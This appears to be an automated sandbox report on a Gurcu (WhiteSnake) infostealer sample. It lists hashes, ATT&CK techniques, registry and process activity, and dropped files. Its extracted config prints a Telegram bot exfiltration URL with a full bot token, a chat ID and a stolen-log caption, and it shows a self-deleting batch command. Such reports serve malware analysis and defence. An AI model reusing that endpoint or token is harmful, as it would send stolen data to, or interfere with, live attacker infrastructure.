gurcu | 36badaade40faa02d430c40eafd4a6bad3d0c3289c9435ddcf4930301f029755

General

Target

file.exe
Size

5.6MB
MD5

260373b0281173d7a116e4a54e361425
SHA1

38a2a60736c19436b2eaf783b9ae92838cc750c8
SHA256

36badaade40faa02d430c40eafd4a6bad3d0c3289c9435ddcf4930301f029755
SHA512

98cc8704e6e2597c3776408adcd9ce52a09ae64f43dd310b750bfaf4f6a558b0e3f042ccdd6be863a4ec6df4d63092a4390cd186fbb28dd423e27653cc71182d
SSDEEP

98304:aGl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:adOuK6mn9NzgMoYkSIvUcwti7TQlvciE

Score

10^/10

gurcu discovery spyware stealer

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot8121067342:AAFL-KN4aKsB4OBMVYX2uU3_ad7ylEISJbY/sendDocument?chat_id=7781867830&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	file.exe

Loads dropped DLL 1 IoCs

pid	Process
3272	file.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	file.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe
3272	file.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3272	file.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3272 wrote to memory of 4892	3272	file.exe	85
PID 3272 wrote to memory of 4892	3272	file.exe	85

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpAE12.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpAE12.tmp.bat
  2⤵
  PID:4892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpAE12.tmp.bat

Filesize
172B

MD5
2f2ccaeb9dc8b41245fb55d0cd7519b1

SHA1
eb3e8e817790e3914d5dd25dea57be55c4736489

SHA256
46b55f7d1e7765e7488f1163d2277fc62d34d6e45453c833626972e610b0a7df

SHA512
98a74777c5b8153a990cd3dec7f9257065f1dfb930eebfa8bfcde3b6c7fe084e248131a6311d0094ef12a05f7cd4800e386373ae7a11e6c5d29f63b886f663cb

Download Submit
C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
memory/3272-12-0x000001CDB22A0000-0x000001CDB2352000-memory.dmp

Filesize
712KB

Download
memory/3272-14-0x000001CDB12C0000-0x000001CDB12E2000-memory.dmp

Filesize
136KB

Download
memory/3272-8-0x00007FFC4B540000-0x00007FFC4C001000-memory.dmp

Filesize
10.8MB

Download
memory/3272-9-0x000001CD988E0000-0x000001CD988FE000-memory.dmp

Filesize
120KB

Download
memory/3272-10-0x000001CDB1190000-0x000001CDB11FA000-memory.dmp

Filesize
424KB

Download
memory/3272-0-0x00007FFC4B543000-0x00007FFC4B545000-memory.dmp

Filesize
8KB

Download
memory/3272-13-0x000001CDB2350000-0x000001CDB23A0000-memory.dmp

Filesize
320KB

Download
memory/3272-7-0x000001CDB1210000-0x000001CDB1286000-memory.dmp

Filesize
472KB

Download
memory/3272-16-0x000001CDB23E0000-0x000001CDB241A000-memory.dmp

Filesize
232KB

Download
memory/3272-17-0x000001CDB1290000-0x000001CDB12B6000-memory.dmp

Filesize
152KB

Download
memory/3272-18-0x000001CDB3020000-0x000001CDB334E000-memory.dmp

Filesize
3.2MB

Download
memory/3272-45-0x000001CDB23C0000-0x000001CDB23D2000-memory.dmp

Filesize
72KB

Download
memory/3272-57-0x00007FFC4B540000-0x00007FFC4C001000-memory.dmp

Filesize
10.8MB

Download
memory/3272-70-0x00007FFC4B540000-0x00007FFC4C001000-memory.dmp

Filesize
10.8MB

Download
memory/3272-6-0x000001CD98A20000-0x000001CD98A2A000-memory.dmp

Filesize
40KB

Download
memory/3272-1-0x000001CD96790000-0x000001CD96D28000-memory.dmp

Filesize
5.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads